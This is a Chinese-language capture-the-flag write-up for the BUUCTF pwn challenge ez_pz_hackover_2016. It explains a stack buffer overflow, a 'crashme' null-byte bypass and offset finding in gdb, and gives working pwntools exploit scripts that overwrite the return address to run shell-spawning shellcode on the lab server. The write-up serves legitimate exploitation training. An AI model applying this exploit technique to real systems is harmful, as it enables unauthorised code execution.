欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

BUUCTF pwn ez_pz_hackover_2016(write up)

程序员文章站 2022-05-14 09:05:09
...

BUUCTF pwn ez_pz_hackover_2016

0x01 文件分析

BUUCTF pwn ez_pz_hackover_2016(write up)

没有不可执行栈和段上的读写保护。

0x02 运行

BUUCTF pwn ez_pz_hackover_2016(write up)

输入name后发现上面还有一个地址。

0x03 IDA

BUUCTF pwn ez_pz_hackover_2016(write up)
BUUCTF pwn ez_pz_hackover_2016(write up)

若输入crashme,即可进入vlun函数,主要的漏洞点在这个函数内部的,chall栈的大小很大,足够写
shellcode,之后的vuln函数会将name的数据复制到vuln的栈上面,而且复制的数据量远远大于栈的
长度,会造成栈溢出。
并且chall函数的栈的地址直接打印出来,不用再去泄露栈地址,可以直接利用。

但如何绕过crashme检测呢?
strlen函数不会统计\x00,遇到就会停止。

0x04 思路

通过fgets写入shellcode,结合已经泄露的栈地址,在vuln里面改写返回地址,跳转到栈上的shellcode执行。
做之前先要找出相关的偏移量,使用gdb调试,第一个是输入字符串返回地址之间的偏移。使用gdb调试脚本到函数内部:

#!/usr/bin/python2
#coding=utf-8
from pwn import *
from LibcSearcher import *

context(os = "linux", arch = "i386", log_level= "debug")
# p = remote("node3.buuoj.cn", 25136)
p = process("./ez_pz_hackover_2016")
gdb.attach(p)
p.recvuntil("0x")
name_addr = int(p.recv(8), 16)
print "name_addr = " + hex(name_addr)

payload = "crashme\x00"
payload += "aaaabbbbccccddddeeeeffff"
p.sendline(payload)
p.interactive()

BUUCTF pwn ez_pz_hackover_2016(write up)

BUUCTF pwn ez_pz_hackover_2016(write up)

leave过后esp=ebp+4,那么crashme相对于ebp的偏移位0x1a=26个字节,然后在写返回地址跳转到shellcode执行

#!/usr/bin/python2
#coding=utf-8
from pwn import *
from LibcSearcher import *

context(os = "linux", arch = "i386", log_level= "debug")
# p = remote("node3.buuoj.cn", 25136)
p = process("./ez_pz_hackover_2016")
gdb.attach(p)
p.recvuntil("0x")
name_addr = int(p.recv(8), 16)
print "name_addr = " + hex(name_addr)

payload = "crashme\x00"
payload = payload.ljust(26, "\x00")
payload += p32(0)
payload += asm(shellcraft.sh())
p.sendline(payload)
p.interactive()

BUUCTF pwn ez_pz_hackover_2016(write up)

计算出shellcode地址相对于泄露的栈地址的偏移量为:0xfff7f5dc-0xfff7f5c0=0x1c=28

0x05 exp

#!/usr/bin/python2
#coding=utf-8
from pwn import *
from LibcSearcher import *

context(os = "linux", arch = "i386", log_level= "debug")
p = remote("node3.buuoj.cn", 25136)

p.recvuntil("0x")
name_addr = int(p.recv(8), 16)
print "name_addr = " + hex(name_addr)

payload = "crashme\x00"
payload = payload.ljust(26, "\x00")
payload += p32(name_addr - 28)
payload += asm(shellcraft.sh())
p.sendline(payload)

p.interactive()
相关标签: CTF-PWN